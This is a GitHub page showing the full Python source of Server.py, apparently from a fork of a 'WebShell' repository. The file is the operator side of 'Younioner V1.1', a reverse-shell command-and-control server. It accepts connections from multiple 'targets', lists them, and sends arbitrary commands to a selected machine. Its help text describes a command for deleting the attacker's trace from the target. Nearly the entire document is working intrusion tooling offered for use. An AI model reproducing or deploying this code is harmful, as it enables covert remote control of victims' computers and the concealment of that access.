forked from xl7dev/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathServer.py
220 lines (180 loc) · 7.87 KB
/
Server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
from socket import *
import time
import threading
import sys
import os
from queue import Queue
queue = Queue()
host = '192.168.1.88' # your computer ip
port = 4343
class Server:
def __init__(self, _host, _port=3434, _max_client=20):
# Variables used in this class are here
self.host = _host
self.port = _port
self.max_client = _max_client # max amount of expected connections
# once any client connected
self.all_connection = [] # the connections will be stored here.
self.all_addresses = [] # the addresses will be stored here.
# create socket
def open_socket(self):
try:
self.s = socket(AF_INET, SOCK_STREAM)
self.s.bind((self.host, self.port))
logo = "__ __ _ ____ \n" \
"\ \ / /__ _ _ _ __ (_) ___ _ __ ___| _ \ \n" \
" \ V / _ \| | | | '_ \| |/ _ \| '_ \ / _ \ |_) | \n" \
" | | (_) | |_| | | | | | (_) | | | | __/ _ < \n" \
" |_|\___/ \__,_|_| |_|_|\___/|_| |_|\___|_| \_\ \n"
print("\n\tWelcome to Younioner V1.1")
print(logo)
print('Created by Ayoub Ouakkaha, please visit our website www.ouakkaha.com')
print('\ncontact us at [email protected], type help to display available commands.')
# listen for one connection :)
self.s.listen(self.max_client)
except error as e:
print("** Oops Something went wrong error code ", e)
time.sleep(5) # wait for 5s and try again
self.open_socket()
# accept incoming connection
def accept_connection(self):
for c in self.all_connection: # close the connection list
c.close()
del self.all_connection[:] # clean connection list
del self.all_addresses[:] # clean addresses list
while True:
try:
conn, address = self.s.accept()
conn.setblocking(1)
self.all_connection.append(conn)
self.all_addresses.append(address)
print("\n* new Connection has been established from {} on {}".format(address[0], address[1]))
print("\nYounioner> ", end="")
except error as e:
print("something went wrong while accepting new connection\n error code: {} \n".format(str(e)))
# Interactive shell for sending command remotely
def start_younioner(self):
while True:
cmd = str(input("Younioner> "))
cmd = cmd.lower()
cmd_stripped = cmd.strip()
if cmd.strip() == 'list':
self.list_connections()
continue
elif cmd.strip() == "help":
self.displayHelp()
elif cmd_stripped.startswith("select"): # check command start with `select` word
conn = self.get_target(cmd)
if conn is not None:
self.send_commands(conn)
elif cmd_stripped == "quit":
self.exit()
else:
print("{} Command not recognized..".format(cmd))
# Display the help menu
def displayHelp(self):
"""Display The help menu"""
help = "\nthis section will help to understand the basic commands: " \
"\n\nlist............ It will list availabel connection..Usage(just type : `list`)"\
"\n\nselect.......... used to select a connection to target.. the target number needs be availabel on list section Usage(select 1) or change the number 1 to the target ID"\
"\n\nquit............ used to close the current connection .. or if you don't have one it will close the script"\
"\n\nhelp............ as you might guess, it will print the help Menu, which you're looking to now.:)"\
"\n\nend-of-session.. this is really advance command..this command will delet your trace from the target command, for example it will delet the current running script on the target command which is(Client) "\
"\n\nIf you liked Our app and you want to help us for providing more and more.. please contact us at [email protected] or visit my site www.ouakkaha.com\nanyway thanks for using my app, be sure to have a greate day :)"
print(help)
# Exit Reverse Shell
def exit(self):
for c in self.all_connection:
try:
c.send(str.encode("end-of-session"))
c.shutdown(2)
c.close()
except Exception as e:
print('Could not close connection ' + str(e))
self.s.close()
print("\n Good By, please have a nice day :) ")
# this will be over need but believe me, some times the module refuse to exit..
# this is why i try each of this method cause at the end one of theme should work..
os._exit(0)
sys.exit()
quit(0)
exit(0)
# this will display all current connection
def list_connections(self):
rs = ''
for i, conn in enumerate(self.all_connection): # Enumerate will count number of loop
try: # we will test if conn are working..
conn.send(str.encode(' ')) # send blank to test if conn is working.,
conn.recv(20240)
except: # this will ocure if conn is null
del self.all_connection[i]
del self.all_addresses[i]
continue # go to next loop do not execut the next line..
rs += str(i) + '\t' + str(self.all_addresses[i][0]) + '\t' + str(self.all_addresses[i][1]) + '\n'
print("Currently Available Targets")
print("ID\tIP\t\t\t\tPORT\n" + rs)
# Select a target client
def get_target(self, cmd):
target = cmd.replace('select ', '')
try:
target = int(target)
except:
print("Target index should be integer.")
return None
try:
conn = self.all_connection[target]
except:
print("Not Invalid Selection..")
return None
print("You are now connected to", self.all_addresses[target][0])
print("Younioner.{} >> ".format(self.all_addresses[target][0]), end="")
return conn
# Connect with the target
def send_commands(self, conn):
while True:
try:
cmd = str(input())
if len(cmd) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), "utf-8")
print(client_response, end="")
# confirm quit
if cmd == "quit":
print("\nAre you sure, the socket will be closed for this moment..")
confirm = str.upper(input("\t N / y >> "))
if confirm == "Y":
break
except:
print("[!] Connection was lost ")
break
# Setting up threads
def setup_threads():
server = Server('', port)
for _ in range(2):
t = threading.Thread(target=work, args=(server,))
t.daemon = True # It means when the script got closed the thread also will exit from process
t.start()
return
# Do the next job in the queue(1: handles connection, other sends commands and get response back)
def work(server):
while True:
x = queue.get()
if x == 0: # 0: handles connection
server.open_socket()
server.accept_connection()
if x == 1: # 1: sends commands to target machine
server.start_younioner()
queue.task_done() # [Done] jobs are done with success
return
# Each list item is a new job
def create_jobs():
for x in range(2):
queue.put(x)
queue.join()
return
# the main function
def main():
setup_threads()
create_jobs()
if __name__ == '__main__':
main()